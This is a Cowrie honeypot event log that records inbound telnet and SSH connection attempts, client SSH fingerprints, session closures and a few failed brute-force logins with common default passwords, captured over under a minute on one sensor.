{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37752,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7582b0347c9","protocol":"telnet","message":"New connection: 62.210.97.77:37752 (10.17.0.5:23) [session: c7582b0347c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:10.476095Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":60082,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ac24188ed4b","protocol":"telnet","message":"New connection: 94.156.33.203:60082 (159.203.135.109:23) [session: 7ac24188ed4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:10.981034Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":60090,"dst_ip":"159.203.135.109","dst_port":23,"session":"f94444179c6e","protocol":"telnet","message":"New connection: 94.156.33.203:60090 (159.203.135.109:23) [session: f94444179c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:11.432976Z"}
{"eventid":"cowrie.session.closed","duration":44.17830848693848,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:13.176967Z","src_ip":"38.54.119.93","session":"ac6176994b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.544236183166504,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:14.149494Z","src_ip":"62.210.97.77","session":"4c44563151b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37768,"dst_ip":"10.17.0.5","dst_port":23,"session":"4af4b5b2dad0","protocol":"telnet","message":"New connection: 62.210.97.77:37768 (10.17.0.5:23) [session: 4af4b5b2dad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:14.973032Z"}
{"eventid":"cowrie.session.closed","duration":33.362711668014526,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:15.544539Z","src_ip":"62.210.97.77","session":"7a07bff3f631","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.87891745567322,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:16.637399Z","src_ip":"65.60.27.33","session":"5e41236afa18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":36674,"dst_ip":"10.17.0.5","dst_port":22,"session":"86584fd78ba7","protocol":"ssh","message":"New connection: 156.232.13.218:36674 (10.17.0.5:22) [session: 86584fd78ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:16.939709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:16.944105Z","src_ip":"156.232.13.218","session":"86584fd78ba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:17.015033Z","src_ip":"156.232.13.218","session":"86584fd78ba7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jboss","password":"admin123","message":"login attempt [jboss/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:17.337829Z","src_ip":"156.232.13.218","session":"86584fd78ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51126,"dst_ip":"10.17.0.5","dst_port":23,"session":"40e27d7cf484","protocol":"telnet","message":"New connection: 65.60.27.33:51126 (10.17.0.5:23) [session: 40e27d7cf484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:18.184386Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:18.415428Z","src_ip":"156.232.13.218","session":"86584fd78ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56088,"dst_ip":"10.17.0.5","dst_port":23,"session":"f43f2f086ec4","protocol":"telnet","message":"New connection: 62.210.97.77:56088 (10.17.0.5:23) [session: f43f2f086ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:19.761340Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56092,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5837897b900","protocol":"telnet","message":"New connection: 62.210.97.77:56092 (10.17.0.5:23) [session: f5837897b900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:21.228237Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":33519,"dst_ip":"10.17.0.5","dst_port":22,"session":"17d683a9f1e1","protocol":"ssh","message":"New connection: 190.129.122.12:33519 (10.17.0.5:22) [session: 17d683a9f1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:21.619696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:21.623916Z","src_ip":"190.129.122.12","session":"17d683a9f1e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:21.791147Z","src_ip":"190.129.122.12","session":"17d683a9f1e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56098,"dst_ip":"10.17.0.5","dst_port":23,"session":"257d63c7aee7","protocol":"telnet","message":"New connection: 62.210.97.77:56098 (10.17.0.5:23) [session: 257d63c7aee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:22.195050Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56104,"dst_ip":"10.17.0.5","dst_port":23,"session":"76fd366fa02f","protocol":"telnet","message":"New connection: 62.210.97.77:56104 (10.17.0.5:23) [session: 76fd366fa02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:22.436307Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123qwe","message":"login attempt [ftpuser/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:22.490889Z","src_ip":"190.129.122.12","session":"17d683a9f1e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44962,"dst_ip":"10.17.0.5","dst_port":23,"session":"64f631c55794","protocol":"telnet","message":"New connection: 38.54.119.93:44962 (10.17.0.5:23) [session: 64f631c55794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:22.743630Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56120,"dst_ip":"10.17.0.5","dst_port":23,"session":"1294d12d7a01","protocol":"telnet","message":"New connection: 62.210.97.77:56120 (10.17.0.5:23) [session: 1294d12d7a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:22.891642Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56130,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c9221c7e12d","protocol":"telnet","message":"New connection: 62.210.97.77:56130 (10.17.0.5:23) [session: 7c9221c7e12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:22.903711Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:23.660193Z","src_ip":"190.129.122.12","session":"17d683a9f1e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56142,"dst_ip":"10.17.0.5","dst_port":23,"session":"e53aac6d7471","protocol":"telnet","message":"New connection: 62.210.97.77:56142 (10.17.0.5:23) [session: e53aac6d7471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:24.539126Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56146,"dst_ip":"10.17.0.5","dst_port":23,"session":"fece3beac34a","protocol":"telnet","message":"New connection: 62.210.97.77:56146 (10.17.0.5:23) [session: fece3beac34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:24.957516Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":44918,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c4bfa9c2e09","protocol":"ssh","message":"New connection: 187.16.96.250:44918 (10.17.0.5:22) [session: 9c4bfa9c2e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:26.184803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:26.189259Z","src_ip":"187.16.96.250","session":"9c4bfa9c2e09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:26.305911Z","src_ip":"187.16.96.250","session":"9c4bfa9c2e09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwe123","message":"login attempt [admin/123qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:26.805676Z","src_ip":"187.16.96.250","session":"9c4bfa9c2e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.45696258544922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:27.012496Z","src_ip":"94.156.33.203","session":"64ae764791e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:27.925931Z","src_ip":"187.16.96.250","session":"9c4bfa9c2e09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.973050117492676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:28.204524Z","src_ip":"62.210.97.77","session":"c4f77b2a0313","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":36238,"dst_ip":"10.17.0.5","dst_port":23,"session":"23b119c70623","protocol":"telnet","message":"New connection: 65.60.27.33:36238 (10.17.0.5:23) [session: 23b119c70623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:28.402135Z"}
{"eventid":"cowrie.session.closed","duration":31.515634536743164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:29.025333Z","src_ip":"94.156.33.203","session":"5594d9909d4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.92017149925232,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:29.155283Z","src_ip":"38.54.119.93","session":"61c20222528b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56256,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0bccfc38eb0","protocol":"telnet","message":"New connection: 62.210.97.77:56256 (10.17.0.5:23) [session: e0bccfc38eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:30.218547Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56258,"dst_ip":"10.17.0.5","dst_port":23,"session":"951139a5077f","protocol":"telnet","message":"New connection: 62.210.97.77:56258 (10.17.0.5:23) [session: 951139a5077f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:30.512588Z"}
{"eventid":"cowrie.session.closed","duration":33.57525825500488,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:30.653284Z","src_ip":"65.60.27.33","session":"e9354c7edfbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47616,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ab017e2268f","protocol":"telnet","message":"New connection: 134.209.8.29:47616 (159.203.135.109:23) [session: 8ab017e2268f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:32.680670Z"}
{"eventid":"cowrie.session.closed","duration":33.3695650100708,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:32.875037Z","src_ip":"62.210.97.77","session":"947beb5eb087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.38607311248779,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:34.778137Z","src_ip":"65.60.27.33","session":"d0a4de777df5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.83802032470703,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:34.808706Z","src_ip":"62.210.97.77","session":"804ff4a2a9c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56260,"dst_ip":"10.17.0.5","dst_port":23,"session":"249ac9d86113","protocol":"telnet","message":"New connection: 62.210.97.77:56260 (10.17.0.5:23) [session: 249ac9d86113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:35.595909Z"}
{"eventid":"cowrie.session.closed","duration":36.97436237335205,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:36.668287Z","src_ip":"62.210.97.77","session":"f11949860aa9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.979562759399414,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:36.853998Z","src_ip":"62.210.97.77","session":"7eee162b4ec7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"48.0","message":"Connection lost after 48.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:37.538072Z","src_ip":"45.78.198.206","session":"5ddd824e59af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.40911245346069,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:37.625557Z","src_ip":"65.60.27.33","session":"d20c09aa2231","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.543291091918945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:39.150509Z","src_ip":"8.153.72.27","session":"77da67159bc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.33.203","src_port":47376,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd42f8b9260c","protocol":"telnet","message":"New connection: 94.156.33.203:47376 (159.203.135.109:23) [session: fd42f8b9260c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:39.409859Z"}
{"eventid":"cowrie.session.closed","duration":50.98524260520935,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:39.645937Z","src_ip":"38.54.119.93","session":"2523a3ec4acf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.176","src_port":48332,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0620cae2b08","protocol":"ssh","message":"New connection: 103.189.235.176:48332 (159.203.135.109:22) [session: f0620cae2b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:41.790618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:41.795633Z","src_ip":"103.189.235.176","session":"f0620cae2b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:42.037645Z","src_ip":"103.189.235.176","session":"f0620cae2b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45766,"dst_ip":"10.17.0.5","dst_port":23,"session":"758e0e949b5c","protocol":"telnet","message":"New connection: 62.210.97.77:45766 (10.17.0.5:23) [session: 758e0e949b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:42.237276Z"}
{"eventid":"cowrie.session.closed","duration":31.81971311569214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:42.800625Z","src_ip":"94.156.33.203","session":"7ac24188ed4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.592342376708984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:43.025206Z","src_ip":"94.156.33.203","session":"f94444179c6e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"11111111","message":"login attempt [guest/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:43.040578Z","src_ip":"103.189.235.176","session":"f0620cae2b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.1183648109436,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:43.545561Z","src_ip":"65.60.27.33","session":"a894d5060e45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:44.285654Z","src_ip":"103.189.235.176","session":"f0620cae2b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.012598276138306,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:46.488592Z","src_ip":"62.210.97.77","session":"c7582b0347c9","protocol":"telnet"}
